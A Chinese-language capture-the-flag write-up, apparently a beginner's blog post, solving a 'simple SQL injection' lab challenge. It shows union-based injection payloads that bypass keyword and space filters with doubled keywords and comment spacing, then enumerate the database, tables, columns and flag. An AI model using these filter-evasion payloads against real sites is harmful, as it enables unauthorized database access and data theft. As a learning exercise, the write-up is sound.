CTF实验吧简单的sql注入。自己写的wp!

这次来写了一个wp,我是小白希望大神们可以指点,因为自己是一个人搞sql,有人指点能够少走很多弯路。
先看这一题,我刚进来居然还来了个乱码,不管了开始,看到这题目,命令注入得到flag,就想这一题无非就是绕过过滤,进行爆库爆数据得到flag 在这里插入图片描述
输入1,2,3以后,得到一些表名,这时就在猜想后台sql查询语句为:select name where id =xxxxx;

  1. 先判断注入点
    先用1 and 1=1 发现and被过滤了 这里采用andand双写绕过
    1 andand 1=1 1 andand 1=2 发现不是数字型注入
    再用 1’andand 1=1–+ ;# 发现注释(–+,#)都被过滤了 这里采用1’ andand ‘1’=’1进行注释
    得到这个应该是‘字符型注入(这里我有点不大明白,但是这样注入可以爆出来,所以也就是将错就错了,希望有大神可以给我指点一下子,而且此时的order by我实验也没成功,索性直接爆)

  2. 暴库,表(建议也可以先查库再查表)
    这里先不要闭合前面的‘,先直接输入查询语句,看看这个sql后台究竟过滤了哪些
    1 union select group_concat(table_name) from information_schema .tables where table_schema =database()–+
    在这里插入图片描述

发现注释–+,#什么的都被过滤了,可以考虑利用andand’1’=’1进行闭合后面的’号;发现有空格过滤,这里可以选择双写绕过和/**/(注释空格)进行绕过,发现group_concat;information_schema;table_schema都需要进行双写绕过

构造得:
1’//union//select//group_concagroup_concatt(table_name)//from//information_schema.tables//where//tabltable_schemae_schema//=database() andand ‘1’='1
在这里插入图片描述

得到表balotali,flag,web_1表,只有flag表对我们有用
我发现直接出表太利索了,得不到数据库,所以还是一步一步来把 !

  1. 爆库
    1’ union select database()’
    发现都被过滤了
    构造得1’//union//select/**/database()’
    在这里插入图片描述
    得到数据库:web1(有用)

  2. 爆表
    和上述一样先进行正常的sql语句
    1 union select group_concat(table_name) from information_schema.tables where table_schema=’web1’
    得到的还是被过滤的信息
    在这里插入图片描述
    根据//注释空格还用双写group等函数进行绕过
    1’/
    /union//select//group_concagroup_concatt(table_name)//from//information_schema.tables//where//table_schemtable_schemaa='web1
    在这里插入图片描述
    得到flag和web_1表,可知flag对我们有用进行查列

  3. 查列
    1’ union select column_name from information_schema.columns where table_name=’flag’
    在这里插入图片描述
    构造得:
    1’//union//select//column_namcolumn_namee//from//information_scheminformation_schema.columnsa.columns//where/**/table_name=‘flag’ andand ‘1’='1(这里可以用andand ‘1’=’1进行闭合)
    在这里插入图片描述
    得到列名为:flag对我们有用

  4. 查数据
    直接构造得:1’//union//select//flag//from//flag//where/**/‘1’='1
    得到flag
    在这里插入图片描述
    总之,这道题考的还是很有意思的,刚开始做的时候,自己构造语句很多都构造错,返回报错,看报错信息一脸懵,双写绕过很常见,重点就是过滤掉了注释和空格过滤,需要利用/注释/绕过空格,也可以利用括号,考这一点让我学到了,很实用,所以自己想写一个wp,充实一下自己,我自己写的估计有很多地方不对,希望帮忙指点一下子。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值